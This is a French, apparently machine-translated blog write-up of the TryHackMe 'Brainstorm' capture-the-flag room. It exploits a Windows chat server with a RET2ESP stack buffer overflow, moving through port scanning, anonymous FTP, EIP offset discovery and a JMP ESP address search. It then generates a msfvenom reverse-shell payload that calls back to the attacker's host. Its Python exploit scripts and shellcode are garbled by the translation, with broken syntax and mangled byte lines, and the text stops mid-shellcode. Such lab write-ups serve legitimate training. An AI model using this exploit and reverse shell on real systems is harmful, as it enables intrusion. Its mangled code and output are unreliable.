[Tryhackme] J'ai essayé d'infiltrer une machine Windows avec une attaque RET2ESP (débordement de tampon)! Brainstorming writing

[Tryhackme] J'ai essayé d'infiltrer une machine Windows avec une attaque RET2ESP (débordement de tampon)! Brainstorming writing

Cette fois, nous allons essayer «l'attaque RET2ESP», l'une des attaques de débordement de tampon.
"Tryhackme-Brainstorm: https://tryhackme.com/room/brainstorm "

Veuillez noter que l'explication est des spoilers.

Livres de référence recommandés
Le jour de la première journée de la première fois est en cours! / /
Amazone
Auteur: ipusiron
¥3,850 (À partir de 21:11 le 07/08/2025 | Recherche Amazon)
Le jour de la première journée de la première fois est en cours! / /
Amazone
Auteur: Justin Seitz, auteur: Tim Arnold, supervisé par: Mantani Nobutaka, Traduction: Arai Yu, Traduction: Kakara Hirosei, Traduction: Murakami Ryo
¥3,520 (À partir de 12:26 le 07/09/2025 | Recherche Amazon)
Le jour de la première journée de la première fois est en cours! / /
Amazone
table des matières

Déployer la machine et le réseau de numérisation

Déployer la machine ()

Déployez d'abord votre machine.
Sélectionnez "StartMachine" et l'IP s'affiche, donc c'est OK.

Répondre

Combien de ports sont ouverts? ()

On leur demande combien il y a de ports ouverts, donc je vais essayer de numériser des ports avec NMAP.
Puisqu'il ne répond pas aux pings, définissez "-np".

┌fiques (Hacklab㉿hackLab) - [~] └─ $ nmap -pn -sv 10.10.15.108 Démarrage NMAP 7.92 (https://nmap.org) à 2023-06-28 21:17 JST NMAP SCAN RAPPORT pour 10.10.15.108 L'hôte est en place (0,25S Létence). Non illustré: 997 Ports TCP filtrés (non-réponse) Le service d'état du port version 21 / TCP Open FTP Microsoft FTPD 3389 / TCP Open SSL / MS-WBT-Server? 9999 / TCP Open Abyss? 1 Service Données de retour de destination non reconnue. Si vous connaissez le service / la version, veuillez soumettre l'empreinte digitale suivante sur https://nmap.org/cgi-bin/submit.cgi?new-service: sf-port9999-tcp: v = 7.92% i = 7% d = 6/28% time = 649c24db% p = x86_64-pc-linux-curs rat R (nu% r (nu% r (nu Sf: ll, 52, "Bienvenue \ x20TO \ x20BRAINSTORM \ x20CHAT \ x20 \ (Beta \) \ nPlease \ x20enter Sf: \ x20your \ x20Username \ x20 \ (max \ x2020 \ x20characters \): \ x20")% r (gexrest Sf:, 63, "Bienvenue \ x20to \ x20brainstorm \ x20chat \ x20 \ (bêta \) \ nPlease \ x20enter \ x sf: 20your \ x20ername \ x20 \ (max \ x2020 \ x20characters \): \ x20write \ x20a \ x20mes Sf: sage: \ x20 ")% r (httpoptions, 63," bienvenue \ x20to \ x20brainstorm \ x20chat \ x20 \ (sf: beta \) \ nPlease \ x20enter \ x20your \ x20UnDame \ x20 \ (max \ x2020 \ x20Character Sf: s \): \ x20write \ x20a \ x20mesage: \ x20 ")% r (FourohfourRequest, 63," bienvenue \ x2 sf: 0to \ x20brainstorm \ x20chat \ x20 usern Sf: ame \ x20 \ (max \ x2020 \ x20characters \): \ x20write \ x20a \ x20mesage: \ x20 ")% r (j sf: avarmi, 63," bienvenue \ x20to \ x20brainstorm \ x20chat \ x20 \ (beta \) \ npease \ x20e Sf: nter \ x20your \ x20Username \ x20 \ (max \ x2020 \ x20characters \): \ x20write \ x20a \ sf: x20mesage: \ x20 ")% r (générique, 63," bienvenue \ x20to \ x20brainstorm \ x20cha Sf: t \ x20 \ (bêta \) \ nPlease \ x20enter \ x20your \ x20Username \ x20 \ (max \ x2020 \ x20ch sf: aracters \): \ x20write \ x20a \ x20mesage: \ x20 ")% r (rtsprequest, 63," bienvenue \ x Sf: 20to \ x20brainstorm \ x20chat \ x20 \ (beta \) \ nPlease \ x20enter \ x20your \ x20user sf: name \ x20 \ (max \ x2020 \ x20characters \): \ x20write \ x20a \ x20mesage: \ x20 ")% r ( SF: RPCCheck, 63, "Bienvenue \ x20TO \ x20BRAINSTORM \ X20CHAT \ X20 \ (Beta \) \ nPlease \ X2 SF: 0enter \ x20your \ x20USERNAME \ x20 \ (Max \ x2020 \ x20characters \): \ x20write \ x20 Sf: a \ x20Message: \ x20 ")% r (dnsversionbindreqtcp, 63," bienvenue \ x20to \ x20brainst sf: orm \ x20chat \ x20 \ (beta \) \ nplease \ x20enter \ x20your \ x20USERNAME \ x20 \ (max \ x SF: 2020 \ x20Characters \): \ x20write \ x20a \ x20mesage: \ x20 ")% r (dnsstatusreques sf: ttcp, 63," bienvenue \ x20to \ x20brainstorm \ x20chat \ x20 \ (beta \) \ npolt \ x20ENT Sf: er \ x20your \ x20Username \ x20 \ (max \ x2020 \ x20characters \): \ x20write \ x20a \ x2 sf: 0Message: \ x20 ")% r (aide, 63," bienvenue \ x20to \ x20brainstorm \ x20chat \ x20 \ (bet Sf: a \) \ nPlease \ x20ent \ x20your \ x20usename \ x20 \ (max \ x2020 \ x20characters \) sf :: \ x20write \ x20a \ x20mesage: \ x20 ")% r (sslSessionreq, 63," Welcome \ x20to \ x20 Sf: brainstorm \ x20chat \ x20 \ (beta \) \ nPlease \ x20enter \ x20your \ x20Username \ x20sf: \ (max \ x2020 \ x20characters \): \ x20write \ x20a \ x20Message: \ x20 ")% r (Terminal SF: Servercookie, 63, "Bienvenue \ x20TO \ x20BRAINSTORM \ X20CHAT \ X20 \ (Beta \) \ nPlease SF: E \ X20enter \ x20your \ x20USERNAME \ X20 \ (Max \ x2020 \ x20CHARACTERS \): \ X20WRITE SF: \ x20A \ x20MESSAGE: \ X20"); Informations sur le service: OS: Windows; CPE: CPE: / O: Microsoft: détection de service Windows effectuée. Veuillez signaler tout résultat incorrect sur https://nmap.org/submit/. NMAP fait: 1 adresse IP (1 hôte) scanné en 181,68 secondes

Les trois ports qui ont été confirmés étaient:

  • 21 / TCP Open FTP Microsoft FTPD
  • 3389 / TCP Open SSL / MS-WBT-Server?
  • 9999 / TCP Open Abyss?

Répondre

J'ai répondu 3 et c'était mal. Cependant, même après avoir essayé toutes les méthodes, il était impossible d'en détecter six.
Il a été rapporté sur le forum, donc je pense que c'est probablement un bug.

Pour l'instant, j'ai augmenté le nombre et la réponse est 6 qui a répondu correctement. . . (Si quelqu'un le sait, faites-le moi savoir.)

Accéder aux fichiers

J'ai découvert qu'il y avait trois ports ouverts.
Ce qui est intéressant, c'est le 9999, mais veuillez noter que 21 FTP sont ouverts.

FTP peut être accessible par l'authentification anonyme.
Il peut être possible d'extraire toutes les informations, y compris les fichiers exécutés, alors commençons par regarder FTP.

Quel est le nom du fichier EXE que vous avez trouvé?

Maintenant, essayons d'accéder à FTP avec une authentification anonyme.
Si vous êtes un FTP qui permet l'authentification anonyme, vous devriez pouvoir vous connecter en utilisant "Anonyme".

┌── (HackLab㉿hackLab) - [~] └fique FTP 10.10.15.108 connecté à 10.10.15.108. 220 Nom du service Microsoft FTP (10.10.15.108:hackLab): Anonyme 331 Accès anonyme autorisé, envoyez l'identité (nom du courrier électronique) comme mot de passe. Mot de passe: 230 L'utilisateur connecté. Le type de système distant est Windows_NT. ftp> 

Comme prévu, l'authentification anonyme a été autorisée, j'ai donc pu me connecter. 

Comme il s'agit de fenêtres, j'ai essayé de regarder le contenu sur DIR, mais le message "229 entrant en mode passif étendu" a été affiché.

┌── (HackLab㉿hackLab) - [~] └fique FTP 10.10.15.108 connecté à 10.10.15.108. 220 Nom du service Microsoft FTP (10.10.15.108:hackLab): Anonyme 331 Accès anonyme autorisé, envoyez l'identité (nom du courrier électronique) comme mot de passe. Mot de passe: 230 L'utilisateur connecté. Le type de système distant est Windows_NT. ftp> dir 229 entrant le mode passif étendu (||| 49301 |) ^ c Recevoir abandonné. En attendant que la télécommande finisse d'abandonner.

Dois-je désactiver le mode passif en utilisant "passif"? Apparemment, cela fonctionnera bien.
Tout comme je le pensais, j'ai obtenu "425 ne peut pas ouvrir la connexion de données".

Je vais essayer de définir "bac" en mode binaire, puis réessayer.
J'ai pu vérifier le dossier avec succès.

FTP> Mode passif passif: OFF; Fallback vers le mode actif: OFF. FTP> DIR 200 EPRT Commande réussie. 150 Ouverture de la connexion des données du mode ASCII. 425 Impossible d'ouvrir la connexion de données. FTP> BIN 200 Type défini sur I. FTP> DIR 200 EPRT Commande réussie. 125 Connexion de données déjà ouverte; Démarrage de transfert. 29-29-19 08:36<DIR> Chatserver 226 Transfert complet.

Voici un dossier appelé Chatserver.
Jetons un coup d'œil au contenu.

FTP> CD Chatserver 250 CWD Commande réussie. FTP> DIR 200 EPRT Commande réussie. 125 Connexion de données déjà ouverte; Démarrage de transfert. 29-29-19 10:26 PM 43747 Chatserver.exe 08-29-19 10:27 PM 30761 ESSFUC.DLL 226 Transfert complet.

Il y a "ChatServer.exe" et "Essfunc.dll". Je pense que cela fonctionne probablement sur 9999.

Répondre

Accéder

C'est là que le niveau de difficulté augmente en même temps.
Je n'en avais aucune idée non plus, alors j'ai regardé quelques écrits. Pourtant, ce n'est pas génial. . .
Le site que j'ai utilisé comme référence est répertorié en bas de l'article.

Préparation

Tout d'abord, téléchargez les deux fichiers que vous avez trouvés plus tôt à l'aide de FTP.

FTP> Get ChatServer.exe Local: Chatserver.exe Remote: Chatserver.exe 200 EPRT Commande réussie. 125 Connexion de données déjà ouverte; Démarrage de transfert. 100% | *******************************************************************************************************************************************************************************************************************************************. *********************************************************************************************************************************************************************************************************************************************. *********************************************************************************************************************************************************************************************************************************************. *********************************************************************************************************************************************************************************************************************************************. Commande EPRT réussie. 125 Connexion de données déjà ouverte; Démarrage de transfert. 100% | *****************************************************************************************************************. *******************************************************************************************************************. *******************************************************************************************************************. *******************************************************************************************************************. *******************************************************************************************************************. *******************************************************************************************************************. *******************************************************************************************************************. *******************************************************************************************************************.

Ensuite, jetons un coup d'œil à ce qui se passe avec le 9999 que nous avons trouvé sur PortScan.

┌fiques (HackLab㉿hackLab) - [~] └─ $ NC -NV 10.10.15.108 9999 (inconnu) [10.10.15.108] 9999 (?) Open Welcome to Brainstorm Chat (Beta) Veuillez saisir votre nom d'utilisateur (max 20 caractères): Hacklab Write A Message: Hacking mer  

Il semble qu'un service de chat soit en cours d'exécution où vous pouvez entrer un nom d'utilisateur allant jusqu'à 20 caractères et un message qui ne semble pas avoir de limite de caractère.
S'il y a une possibilité d'un débordement de tampon, alors c'est un message.

Avant cela, vérifions si le chatserver.exe que vous venez de télécharger plus tôt est le même service.
Déplacez le fichier que vous venez de télécharger sur votre machine Windows.

Si vous songez à l'essayer sur votre Windows (hôte) ou sur une VirtualBox, faites attention aux paramètres de votre réseau.
Il y avait un phénomène où le nombre de chiffres qui a débordé augmentait si le NAT était laissé. (Environ environ 3500)
Si vous installez le pont, il devrait déborder à moins de 2500.
* La cause était inconnue. Cependant, pour autant que je lise le forum, il semble que le même phénomène se produit.

PS C: \ Users \ Hackl \ Share \ Brainstorm>. \ ChatServer.exe Chat Server a démarré! Appelé Essential Function DLL Version 1.00 En attente de connexions. A reçu une connexion client à partir de 127.0.0.1:59586 Client 127.0.0.1:59586 Nom d'utilisateur sélectionné: Client HackLab 127.0.0.1:59586 Connexion close.

Une fois démarré, essayez de vous connecter à partir de Kali à l'aide de NC.

┌til (HackLab㉿hackLab) - [~] └─ $ nc -nv 192.168.0.126 9999 (inconnu) [192.168.0.126] 9999 (?) Open Welcome to Braintstorm Chat (beta) Veuillez entrer votre nom d'utilisateur (max 2023 caractères: HackLab Write A Message: Hacking Wew Écrivez un message:  

Nous savons maintenant qu'il s'agit d'un fichier exécutable pour le même service.

Installation du débogueur d'immunité

À partir de maintenant, nous utiliserons le débogueur d'immunité.
Vous pouvez le télécharger à partir de ci-dessous, alors veuillez le télécharger. (Vous devrez saisir des informations personnelles.)
Si vous n'avez pas de python, un dialogue semblera insérer Python, alors veuillez l'installer.

J'utiliserai également Mona, alors veuillez le télécharger.
Veuillez inclure "Mona.py" dans "C: \ Program Files (x86) \ Immunity Inc \ Immunity Debugger \ PyCommands".

Après avoir testé le débordement, en entrant un grand nombre de caractères, déterminez le décalage EIP.

Maintenant, commencez ChatServer.exe sur votre machine Windows.

PS C: \ Users \ Hackl \ Share \ Brainstorm>. \ ChatServer.exe Chat Server a démarré! Appelé Essential Function DLL Version 1.00 En attente de connexions.

Une fois que c'est en place, démarrez l'immunité Debugger et joignez-vous Chatserver.

Une fois que vous avez attaché, vous verrez l'écran ci-dessous.
Le coin inférieur droit est interrompu.

Appuyez sur F9 pour courir.

Maintenant, je vais essayer de mettre 1000 chiffres dans le nom d'utilisateur.

┌── (HackLab㉿hackLab) - [~] └─ $ nc -nv 192.168.0.126 9999 1 ⨯ (inconnu) [192.168.0.126] 9999 (?) Open bienvenue au brainstorm Chat (bêta) Veuillez entrer votre nom d'utilisateur (max 20 caractères): Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Écrivez un message: Test le mer 28 juin 23:10:36 2023 AAAAAAA a dit: Test

Cela a fonctionné sans aucun problème. On dirait qu'il a été tronqué à 20 chiffres.
Il ne semblait pas y avoir de restrictions particulières sur le message, j'ai donc augmenté le nombre de chiffres et y sont entrés, et il s'est écrasé à environ 2500.

┌fique (HackLab㉿hackLab) - [~] └─ $ NC -NV 192.168.0.126 9999 (inconnu) [192.168.0.126] 9999 (?) Open Welcome to Braintstorm Chat (beta) Veuillez entrer votre nom d'utilisateur (Max 20 caractères): Test Write A Message:

Sous le débogueur d'immunité, il dit "de passer l'exception au programme" et il s'avère qu'une erreur s'est produite.
Assurez-vous également que le registre EIP est rempli de "41 (a)".

Cela signifie que le débordement de tampon est activé.

Register EIP: conserve l'adresse du code natif à exécuter ensuite

Ensuite, trouvez le décalage exact de l'EIP.
Génère 2500 caractères avec "msf-potern_create".

┌fiques (HackLab㉿hackLab) - [~ / TryhackMe / Brainstorm] └fique

Envoyez ceci dans un message.

┌fique (HackLab㉿HackLab) - [~] └─ $ NC -NV 192.168.0.126 9999 1 ⨯ (inconnu) [192.168.0.126] 9999 (?) Open Welcome to Brainstorm Chat (Beta) Veuillez entrer votre nom d'utilisateur (max 20 caractères): Test Write a Message:

L'EIP lorsque les plantages sont réglés sur "31704330".

Ensuite, trouvez le décalage qui correspond "31704330" dans "MSF-Pattern_offset".

┌── (HackLab㉿HackLab) - [~ / TryhackMe / Brainstorm] └fique

De cette façon, j'ai découvert que le décalage EIP est 2012.
De plus, comme il est "31704330", il est de 4 octets, il semble donc que le PEI puisse être écrasé entre 2013 et 2016.

Je vais le vérifier au cas où.
De plus, à partir d'ici, je vais créer un outil simple dans Python.
Dans le message, mettez en 2012 A à l'avance pour écraser.

Je veux m'assurer que je peux écraser EIP, donc j'ajouterai quatre B et j'essaierai de l'exécuter.

#! / usr / bin / python Import socket, sys adresse = '192.168.0.126' port = 9999 user = 'Message' message = ('a' * 2012) eip = ('b' * 4) Message + = eip # message + = nop # message + = buf try: print ('[+] tampon') s = socket.socket.socket. socket.sock_stream) s.connect ((adresse, port)) s.recv (1024) s.send ((user + '\ r \ n'). Encode ("utf-8")) s.recv (1024) print ("message") s.send ((message + '\ r \ n'). application. ') Sys.exit (0) Enfin: S.Close ()

L'EIP est maintenant devenu "4242424242". 42 est B, il semble donc qu'il ait été correctement écrasé.

Répondre

「2012」

Maintenant, vous savez que vous pouvez déborder un tampon et potentiellement contrôler l'exécution, vous devez trouver une fonction où ASLR / DEP n'est pas activé. Pourquoi ne pas vérifier le fichier DLL.

Ensuite, vérifiez s'il y a suffisamment d'espace pour le shellcode immédiatement après l'EIP.
Si le registre ESP peut être écrasé, il fait référence à la possibilité d'utiliser l'adresse ESP JMP pour rediriger l'exécution vers un ESP contenant un shellcode malveillant.

Pour le dire plus en détail, nous utilisons une technique d'attaque appelée
RET2ESP Si le tampon déborde et que le début de la pile est un ShellCode, ESP pointe vers le shellcode, donc le rediriger vers ESP permet d'exécuter le shellcode.

  • ESP
    . Stocke l'adresse mémoire des données empilées en haut de la zone de pile. La pile s'accumule de l'adresse supérieure de la mémoire vers l'adresse inférieure, donc ESP fait référence aux données stockées à l'adresse la plus basse.
  • JMP ESP
    ESP L'ESP a une valeur différente à chaque fois qu'elle est démarrée, il n'est donc pas possible de coder Hardage l'adresse ESP.
    Par conséquent, vous aurez besoin d'une adresse ESP JMP qui sera redirigée vers l'ESP.

Essayez de mettre 500 CS derrière EIP et de les exécuter.

#! / usr / bin / python Import socket, sys adresse = '192.168.0.126' port = 9999 user = 'Message' message = ('a' * 2012) eip = ('b' * 4) upload = ('c' * 500) message + = eip message + = upload # message + = nop # message + = buf try: print ('[+] Sending Buffer') S = Buf + = buf try: print ('[+] Sending Buffer') S = Buf + = Buf Try: Imprimer ('[+] Sending Buffer') S = Buf + = Buf Try: Imprime socket.socket (socket.af_inet, socket.sock_stream) s.connect ((adresse, port)) s.recv (1024) s.send ((user + '\ r \ n'). Encode ("utf-8")) s.recv (1024) print ("message") s.send ((message + '\ r \ n'). Imprimer (e) Imprimer ('[!] Impossible de se connecter à l'application.') Sys.exit (0) Enfin: S.Close ()

ESP pourrait être écrasé avec "C".
ESP signifie que vous pouvez utiliser une adresse JMP pour rediriger l'exécution vers un ESP qui contient le shellcode.

Ensuite, nous chercherons Jum ESP.

! mona jmp -r esp

Il y avait environ 9 ESP JMP efficaces, mais nous utiliserons le premier "625014DF".
À cette adresse, écrasez l'EIP, en le redirigeant vers l'ESP et en faisant l'exécution du ShellCode.

J'ai un peu réécrit le code.
En effet, à partir de Python3, les cordes et les octets sont désormais différenciés avec précision.

#! / usr / bin / python Import socket, sys adresse = '192.168.0.126' port = 9999 user = 'test'.encode ("utf-8") eip = b' \ xdf \ x14 \ x50 \ x62 'message = (' a '* 2012) .encode ("utf-8") Payload = (' C '* 500). Message + = EIP Message + = Payload # Message + = NOP # Message + = Buf Try: PRINT ('[+] Envoi de tampon') S = Socket.Socket (Socket.Af_inet, Socket.Sock_Stream) S.Connect ((adresse, port)) print ("message") s.send (message + '\ r \ n'.encode ("utf-8")) sauf exception comme e: print (e) print (' [!] Impossible de se connecter à l'application. ') Sys.exit (0) Enfin: S.Close ()

Si vous laissez un point d'arrêt avec "625014DF", vous verrez qu'il fonctionne bien.

Certains caractères hexadécimaux peuvent être interdits pour empêcher l'exécution de Shellcode, alors examinons-les.
Ce personnage interdit est appelé mauvais personnages.
Veuillez noter que les caractères interdits ne peuvent pas être inclus dans les adresses de saut ou les codes de shell.

Un exemple typique est que \ x00 (null) est un caractère non valide et peut être exclu.
Vérifiez \ x01 à \ xff.

┌fiques (HackLab㉿HackLab) - [~ / / TryhackMe / Brainstorm] └sé "\ x01 \ x02 \ x03 \ x04 \ x05 \ x06 \ x07 \ x08 \ x09 \ x0a \ x0b \ x0c \ x0d \ x0e \ x0f \ x10" "\ x11 \ x12 \ x13 \ x14 \ x15 \ x16 \ x17 \ x18 \ x19 \ x1a \ x1b \ x1c \ x1d \ x1e \ x1f \ x20" "\ x21 \ x22 \ x23 \ x24 \ x25 \ x26 \ x27 \ x28 \ x29 \ x2a \ x2b \ x2c \ x2d \ x2e \ x2f \ x30" "\ x31 \ x32 \ x33 \ x34 \ x35 \ x36 \ x37 \ x38 \ x39 \ x3a \ x3b \ x3c \ x3d \ x3e \ x3f \ x40" "\ x41 \ x42 \ x43 \ x44 \ x45 \ x46 \ x47 \ x48 \ x49 \ x4a \ x4b \ x4c \ x4d \ x4e \ x4f \ x50" "\ x51 \ x52 \ x53 \ x54 \ x55 \ x56 \ x57 \ x58 \ x59 \ x5a \ x5b \ x5c \ x5d \ x5e \ x5f \ x60" "\ x61 \ x62 \ x63 \ x64 \ x65 \ x66 \ x67 \ x68 \ x69 \ x6a \ x6b \ x6c \ x6d \ x6e \ x6f \ x70" "\ x71 \ x72 \ x73 \ x74 \ x75 \ x76 \ x77 \ x78 \ x79 \ x7a \ x7b \ x7c \ x7d \ x7e \ x7f \ x80" "\ x81 \ x82 \ x83 \ x84 \ x85 \ x86 \ x87 \ x88 \ x89 \ x8a \ x8b \ x8c \ x8d \ x8e \ x8f \ x90" "\ x91 \ x92 \ x93 \ x94 \ x95 \ x96 \ x97 \ x98 \ x99 \ x9a \ x9b \ x9c \ x9d \ x9e \ x9f \ xa0" "\ xa1 \ xa2 \ xa3 \ xa4 \ xa5 \ xa6 \ xa7 \ xa8 \ xa9 \ xaa \ xab \ xac \ xad \ xae \ xaf \ xb0" "\ xb1 \ xb2 \ xb3 \ xb4 \ xb5 \ xb6 \ xb7 \ xb8 \ xb9 \ xba \ xbb \ xbc \ xbd \ xbe \ xbf \ xc0" "\ xc1 \ xc2 \ xc3 \ xc4 \ xc5 \ xc6 \ xc7 \ xc8 \ xc9 \ xca \ xcb \ xcc \ xcd \ xce \ xcf \ xd0" "\ xd1 \ xd2 \ xd3 \ xd4 \ xd5 \ xd6 \ xd7 \ xd8 \ xd9 \ xda \ xdb \ xdc \ xdd \ xde \ xdf \ xe0" "\ XE1 \ XE2 \ XE3 \ XE4 \ XE5 \ XE6 \ XE7 \ XE8 \ XE9 \ XEA \ XEB \ XEC \ XED \ XEE \ XEF \ XEF \ XF0" "\ xf1 \ xf2 \ xf3 \ xf4 \ xf5 \ xf6 \ xf7 \ xf8 \ xf9 \ xfa \ xfb \ xfc \ xfd \ xfe \ xff") Message + = eSpt Message + = badchars # message + = nop # message + = buf try: print ('[+] Buffer') s = socket. socket.sock_stream) s.connect ((adresse, port)) s.recv (1024) s.send ((user + '\ r \ n'). Encode ("utf-8")) s.recv (1024) print ("message") s.send ((message + '\ r \ n'). application. ') Sys.exit (0) Enfin: S.Close ()

En regardant le dépotoir hexadécimal, il n'y a pas de personnages invalides.
En d'autres termes, il ne semble pas être nécessaire de considérer autre chose que des octets nuls.

Répondre

JMP ESP

Étant donné que cela fonctionnerait, vous pouvez essayer de générer du shellcode - utilisez MSFvenom pour générer ShellCode pour Windows. (Cela fonctionne, alors essayez de générer du code shell. Utilisez MSFvenom pour générer ShellCode pour Windows.)

Ensuite, nous générerons le code hexadécimal pour le shell inversé.
Utilisez msfvenom.

  • -P: Spécifiez le type de charge utile: Windows / shell_reverse_tcp
  • LHOST: Spécifiez l'adresse IP de l'hôte local à laquelle vous souhaitez vous connecter: IP de la machine d'attaque
  • LPPORT: Spécifiez le port local pour se connecter à: le port de la machine d'attaque écoute
  • Exitfunc: thread
  • -F: Spécifiez le format: PY
  • -E: Spécifiez l'encodeur: x86 / shikata_ga_nai
  • -B: spécifiez des caractères non valides: "\ x00"
┌fique (HackLab㉿HackLab) - [~ / TryhackMe / Brainstorm] └sé MSF :: Module :: Platform :: Windows de la charge utile [-] Aucune arche sélectionnée, sélectionnant Arch: x86 dans la charge utile trouvée 1 encodeurs compatibles tentant d'encoder la charge utile avec 1 itérations de x86 / shikata_ga_nai x86 / shikata_ga_nai a succédé à la taille 351 (itération = 0) 351 Taille de charge utile: 351 octets Taille finale du fichier py: 1712 octets buf = b "" buf + = b "\ xba \ xae \ x14 \ x6c \ x9a \ xda \ xd6 \ xd9 \ x74 \ x24 \ xf4 \ x58 \ x2b" buf + = b "\ xc9 \ xb1 \ x52 \ x83 \ xe8 \ xfc \ x31 \ x50 \ x0e \ x03 \ xfe \ x1a \ x8e" buf + = b "\ x6f \ x02 \ xca \ xcc \ x90 \ xfa \ x0b \ xb1 \ x19 \ x1f \ x3a \ xf1 \ x7e" Buf + = = x1f \ x3a \ xf1 \ x7e "Buf + = = = x1f \ x3a \ xf1 \ x7e" Buf + = = = x1f \ x3a \ xf1 \ x7e "Buf + = = = x1f \ x3a \ xf1 \ x7e" Buf + = = = X1f \ x3a \ XF1 \ X7E " b "\ x54 \ x6d \ xc1 \ xf5 \ x38 \ x82 \ xaa \ x58 \ xa8 \ x11 \ xde \ x74 \ xdf" buf + = b "\ x92 \ x55 \ xa3 \ xee \ x23 \ xc5 \ x97 \ x71 \ xa0 \ x14 \ xc4 \ x51 \ x99" Buf + = xa0 \ x14 \ xc4 \ x51 \ x99 " b "\ xd6 \ x19 \ x90 \ xde \ x0b \ xd3 \ xc0 \ xb7 \ x40 \ x46 \ xf4 \ xbc \ x1d" buf + = b "\ x5b \ x7f \ x8e \ xb0 \ xdb \ x9c \ x47 \ xb2 \ xca \ x33 \ xd3 \ x9c \ xcc" b"\xb2\x30\x86\x44\xac\x55\xa3\x1f\x47\xad\x5f\x9e\x81" buf += b"\xff\xa0\x0d\xec\xcf\x52\x4f\x29\xf7\x8c\x3a\x43\x0b" buf += b"\x30\x3d\x90\x71\xee\xc8\x02\xd1\x65\x6a\xee\xe3\xaa" buf += b"\xed\x65\xef\x07\x79\x21\xec\x96\xae\x5a\x08\x12\x51" buf += b "\ x8c \ x98 \ x60 \ x76 \ x08 \ xc0 \ x33 \ x17 \ x09 \ xac \ x92 \ x28 \ x49" buf + = b 